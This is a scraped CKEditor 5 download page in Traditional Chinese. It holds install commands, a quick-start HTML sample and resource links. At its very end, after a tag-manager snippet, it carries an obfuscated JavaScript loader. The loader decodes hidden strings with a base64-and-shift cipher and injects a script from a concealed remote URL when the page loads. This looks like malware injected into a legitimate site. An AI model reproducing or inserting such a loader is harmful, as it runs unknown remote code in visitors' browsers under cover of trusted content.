報告:2024 年 協同編輯狀態

取得關於 RTE 中協同作業趨勢和未來的深入見解,立即下載

立即閱讀

開始使用
CKEditor 5

您將獲得隨時可用的程式碼片段,
根據您的需求量身訂製。


5 分鐘(或更短!)內建構您的自訂編輯器

透過 CKEditor 的互動式建構器,選擇

  • 您需要的功能
  • 您偏好的框架(React、Angular、Vue 或 Vanilla JS)
  • 您偏好的發佈方法

發佈

已有設定 CKEditor 5 的經驗?
以下是可用的發佈版本。

npm install ckeditor5
npm install ckeditor5-premium-features
<!DOCTYPE html>
<html lang="en">
	<head>
		<meta charset="UTF-8">
		<meta name="viewport" content="width=device-width, initial-scale=1.0">
		<title>CKEditor 5 - Quick start CDN</title>
		<link rel="stylesheet" href="https://cdn.ckeditor.com/ckeditor5/43.3.0/ckeditor5.css">
		<style>
			.main-container {
				width: 795px;
				margin-left: auto;
				margin-right: auto;
			}
		</style>
	</head>
	<body>
		<div class="main-container">
			<div id="editor">
				<p>Hello from CKEditor 5!</p>
			</div>
		</div>
		<script type="importmap">
			{
				"imports": {
					"ckeditor5": "https://cdn.ckeditor.com/ckeditor5/43.3.0/ckeditor5.js",
					"ckeditor5/": "https://cdn.ckeditor.com/ckeditor5/43.3.0/"
				}
			}
		</script>
		<script type="module">
			import {
				ClassicEditor,
				Essentials,
				Paragraph,
				Bold,
				Italic,
				Font
			} from 'ckeditor5';
			ClassicEditor
				.create( document.querySelector( '#editor' ), {
					plugins: [ Essentials, Paragraph, Bold, Italic, Font ],
					toolbar: [
						'undo', 'redo', '|', 'bold', 'italic', '|',
						'fontSize', 'fontFamily', 'fontColor', 'fontBackgroundColor'
					]
				} )
				.then( editor => {
					window.editor = editor;
				} )
				.catch( error => {
					console.error( error );
				} );
		</script>
		<!-- A friendly reminder to run on a server, remove this during the integration. -->
		<script>
			window.onload = function() {
				if ( window.location.protocol === 'file:' ) {
					alert( 'This sample requires an HTTP server. Please serve this file with a web server.' );
				}
			};
		</script>
	</body>
</html>

CKEditor 5

包含進階功能的 CKEditor 5

不知道從哪裡開始?

試試我們的互動式建構器
或查看快速入門指南

整合

CKEditor 5 是一個純 JavaScript 元件,與任何環境相容。
瀏覽我們的文件,以與最受歡迎的框架整合。

其他資源

透過這些資源和指南探索 CKEditor 5 的強大功能。

文件

關於如何安裝、設定和自訂應用程式的逐步說明。

示範

一個展示最常見且有趣的用例和線上示範的遊樂場。

發行說明(變更日誌)

每個發行版本中所有變更、改進和錯誤修正的詳細日誌。

授權

關於使用和散佈應用程式的授權條款和條件的資訊。

GitHub

在 GitHub 上存取原始程式碼、回報問題並貢獻專案。

您好,對產品或定價有任何疑問嗎?

對於我們的產品或定價有疑問嗎?

請聯絡我們的銷售代表

表單內容欄位

表單提交

HiddenGatedContent.
隱藏未使用的欄位。

我們很樂意
收到您的來信!

感謝您聯絡 CKEditor 銷售團隊。我們已收到您的訊息,並將盡快與您聯繫。

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://#/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });